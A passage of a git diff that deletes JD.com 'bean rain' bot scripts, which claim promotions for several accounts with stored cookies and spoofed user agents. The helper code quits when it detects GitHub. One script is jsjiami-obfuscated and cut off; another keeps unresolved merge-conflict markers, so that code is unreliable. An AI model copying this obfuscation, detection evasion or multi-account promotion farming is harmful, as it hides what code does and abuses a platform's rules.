s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_redrain.js b/jd_redrain.js deleted file mode 100644 index 7e04caa1b..000000000 --- a/jd_redrain.js +++ /dev/null @@ -1,310 +0,0 @@ -/* -整点京豆雨 - -甘露殿-https://t.me/jdredrain - -使用前自行设定整点京豆雨环境变量 -export jd_redrain_url="https://gitee.com/msewb/update/raw/master/redrain.json" - -更新时间:2022-3-31 -脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js -==============Quantumult X============== -[task_local] -#整点京豆雨 -0 * * * * https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain.js, tag=整点京豆雨, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true -==============Loon============== -[Script] -cron "0 * * * *" script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain.js,tag=整点京豆雨 -================Surge=============== -整点京豆雨 = type=cron,cronexp="0 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain.js -===============小火箭========== -整点京豆雨 = type=cron,script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain.js, cronexpr="0 * * * *", timeout=3600, enable=true -*/ -const $ = new Env('整点京豆雨'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = ''; -let jd_redrain_activityId = ''; -let jd_redrain_url = ''; -let allMessage = '', message = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.jd_redrain_activityId) jd_redrain_activityId = process.env.jd_redrain_activityId - if (process.env.jd_redrain_url) jd_redrain_url = process.env.jd_redrain_url - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - if (!jd_redrain_activityId) { - $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:本地红包雨配置获取错误,尝试从远程读取配置\n`); - await $.wait(1000); - if (!jd_redrain_url) { - $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:今日龙王🐲出差,天气晴朗☀️,改日再来~\n`); - return; - } - let RedRainIds = await getRedRainIds(jd_redrain_url); - for (let i = 0; i < 1; i++) { - jd_redrain_activityId = RedRainIds[0]; - } - } - if (!jd_redrain_activityId) { - $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:今日龙王🐲出差,天气晴朗☀️,改日再来~\n`); - return; - } - let codeList = jd_redrain_activityId.split("@"); - let hour = (new Date().getUTCHours() + 8) % 24; - console.log(`\n甘露殿【https://t.me/jdredrain】提醒你:龙王就位: ${codeList}\n\n准备领取${hour}点京豆雨\n`); - for (let codeItem of codeList) { - let ids = {}; - for (let i = 0; i < 24; i++) { - ids[String(i)] = codeItem; - } - if (ids[hour]) { - $.activityId = ids[hour]; - $.log(`\nRRA: ${codeItem}`); - } else { - $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:无法从本地读取配置,请检查运行时间\n`); - return; - } - if (!/^RRA/.test($.activityId)) { - console.log(`\n甘露殿【https://t.me/jdredrain】提醒你:RRA: "${$.activityId}"不符合规则\n`); - continue; - } - for (let i = 0; i < 5; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n${tswb}`); - } - continue - } - await queryRedRainTemplateNew($.activityId) - } - } - } - if (allMessage) { - if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}\n甘露殿【https://t.me/jdredrain】`); - $.msg($.name, '', allMessage); - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -// 查询红包 -function queryRedRainTemplateNew(actId) { - const body = { "actId": actId }; - return new Promise(async resolve => { - const options = { - url: `https://api.m.jd.com/client.action?appid=redrain-2021&functionId=queryRedRainTemplateNew&client=wh5&clientVersion=1.0.0&body=${encodeURIComponent(JSON.stringify(body))}&_=${(new Date).getTime()}`, - headers: { - Host: "api.m.jd.com", - origin: 'https://h5.m.jd.com/', - Accept: "*/*", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - Cookie: cookie, - "User-Agent": "Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/2874 MicroMessenger/8.0.15.2020(0x28000F39) Process/tools WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64", - "Referer": `https://h5.m.jd.com/` - } - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`queryRedRainTemplateNew api请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - //console.log(data); - await doInteractiveAssignment(data.activityInfo.encryptProjectId, data.activityInfo.encryptAssignmentId); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -// 拆红包 -function doInteractiveAssignment(encryptProjectId, encryptAssignmentId) { - const body = { "encryptProjectId": encryptProjectId, "encryptAssignmentId": encryptAssignmentId, "completionFlag": true, "sourceCode": "acehby20210924" }; - return new Promise(async resolve => { - const options = { - url: `https://api.m.jd.com/client.action?appid=redrain-2021&functionId=doInteractiveAssignment&client=wh5&clientVersion=1.0.0&body=${encodeURIComponent(JSON.stringify(body))}&_=${(new Date).getTime()}`, - headers: { - Host: "api.m.jd.com", - origin: 'https://h5.m.jd.com/', - Accept: "*/*", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - Cookie: cookie, - "User-Agent": "Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/2874 MicroMessenger/8.0.15.2020(0x28000F39) Process/tools WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64", - "Referer": `https://h5.m.jd.com/` - } - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`doInteractiveAssignment api请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); -<<<<<<< HEAD - console.log(data); - if (data.subCode == "0") { - console.log(`${data.rewardsInfo.successRewards[3][0].quantity}京豆`); - allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n领取成功,获得【${data.rewardsInfo.successRewards[3][0].quantity}】京豆${$.index !== cookiesArr.length ? '\n\n' : ''}`; -======= - if (data.subCode == "0") { - //console.log(`${data.rewardsInfo.successRewards[3][0].rewardName}`); - message += `领取成功,获得 ${data.rewardsInfo.successRewards[3][0].rewardName}` - allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n领取成功,获得 ${data.rewardsInfo.successRewards[3][0].rewardName}${$.index !== cookiesArr.length ? '\n\n' : ''}`; ->>>>>>> 69e2454bc59e9c82e511b6f469b90a55e18e21fd - } else { - console.log(data); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - - -function getRedRainIds(url) { - return new Promise(async resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(10000) - resolve([]); - }) -} - - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", - headers: { - Host: "wq.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 1001) { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -// prettier-ignore -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_redrain_half.js b/jd_redrain_half.js deleted file mode 100644 index d2e18a79f..000000000 --- a/jd_redrain_half.js +++ /dev/null @@ -1,21 +0,0 @@ -/* -半点京豆雨 -更新时间:2022-5-27 -脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js -by:msechen -半点京豆雨更新频道:https://t.me/jdrain -==============Quantumult X============== -[task_local] -#半点京豆雨 -31 20-23/1 * * * https://raw.githubusercontent.com/msechen/jdrain/main/jd_live_redrain.js, tag=半点京豆雨, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true -==============Loon============== -[Script] -cron "31 20-23/1 * * *" script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain_half.js,tag=半点京豆雨 -================Surge=============== -半点京豆雨 = type=cron,cronexp="31 20-23/1 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain_half.js -===============小火箭========== -半点京豆雨 = type=cron,script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain_half.js, cronexpr="31 20-23/1 * * *", timeout=3600, enable=true -*/ -var _0xodH='jsjiami.com.v6',_0xodH_=['‮_0xodH'],_0x53d0=[_0xodH,'Qm5DbEU=','cWtqYmY=','UkJJTkc=','eXh1dEY=','ZG9JbnRlcmFjdGl2ZUFzc2lnbm1lbnQgYXBp6K+35rGC5aSx6LSl77yM6K+35qOA5p+l572R6Lev6YeN6K+V','ZnJMVmM=','UEdwTXI=','c3ViQ29kZQ==','cmV3YXJkc0luZm8=','c3VjY2Vzc1Jld2FyZHM=','cXVhbnRpdHk=','CumihuWPluaIkOWKn++8jOiOt+W+l+OAkA==','44CR5Lqs6LGG','amNrZkU=','TmZQemg=','Y1R3REw=','UkVjaVM=','VXdLRkY=','S1NzcG4=','YXFKd3Y=','Ull3c24=','bmlja25hbWU=','ZUhTWUM=','cnJlZUQ=','WnBZa1k=','ZEtxZk8=','Q2hkSEw=','Z09aU2Q=','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM18yXzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzEzLjAuMyBNb2JpbGUvMTVFMTQ4IFNhZmFyaS82MDQuMSBFZGcvODcuMC40MjgwLjg4','dHVubmVs','UEpvYmc=','Y29sQW4=','QVJybU0=','c0ZhQUI=','aUxicFA=','VlRRaEI=','dVR1b2o=','VEdfUFJPWFlfSE9TVA==','VEdfUFJPWFlfUE9SVA==','cHRrRE0=','aHR0cHNPdmVySHR0cA==','UkV0Wlk=','YXNzaWdu','YmVJRXE=','R1RqR3c=','VWtpVkw=','VkNxSnE=','a2VlcC1hbGl2ZQ==','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','SkQ0aVBob25lLzkuNC41IENGTmV0d29yay8xMjA5IERhcndpbi8yMC4yLjA=','P2Z1bmN0aW9uSWQ9','JmJvZHk9','c3NnclY=','JmNsaWVudD13aDUmY2xpZW50VmVyc2lvbj0xLjAuMCZfPQ==','bnpqRXY=','TEZBa1g=','Z2V0VGltZXpvbmVPZmZzZXQ=','S0dzamY=','VHRjR1Q=','S3J5alk=','bk50UkI=','TGFKY2o=','WEJDR1A=','YmxFWFU=','WldWZG8=','aHR0cHM6Ly9oNS5tLmpkLmNvbS9hY3RpdmUvcmVkcmFpbi9pbmRleC5odG1sP2lkPQ==','YWN0aXZpdHlJZA==','JmxuZz0wLjAwMDAwMCZsYXQ9MC4wMDAwMDAmc2lkPSZ1bl9hcmVhPQ==','ZVZOUkM=','dmlPZ2E=','VVVpZXk=','V2dSenY=','cGVOTW8=','VFRwS24=','R0NXcmo=','cGpzdE4=','Smd3b3k=','YXBwbGljYXRpb24vanNvbix0ZXh0L3BsYWluLCAqLyo=','aHR0cHM6Ly93cXMuamQuY29tL215L2ppbmdkb3UvbXkuc2h0bWw/c2NlbmV2YWw9Mg==','Li9VU0VSX0FHRU5UUw==','SkRVQQ==','amRhcHA7aVBob25lOzkuNC40OzE0LjM7bmV0d29yay80ZztNb3ppbGxhLzUuMCAoaVBob25lOyBDUFUgaVBob25lIE9TIDE0XzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','VWt1RUk=','VmhTclM=','cnptT0w=','Skd6TWE=','aHR0cHM6Ly93cS5qZC5jb20vdXNlci9pbmZvL1F1ZXJ5SkRVc2VySW5mbz9zY2VuZXZhbD0y','QkhNUHM=','YlhlRVI=','UHBrSks=','V0JXeG4=','UGFJamY=','eGZkbWQ=','SkRfVVNFUl9BR0VOVA==','ZnJ2S0Q=','RW9YbEI=','VVNFUl9BR0VOVA==','eWNJTHQ=','b3pkcXE=','cG9zdA==','bVBEa2M=','eEJvbk4=','TkRrdkg=','WWd3ZUg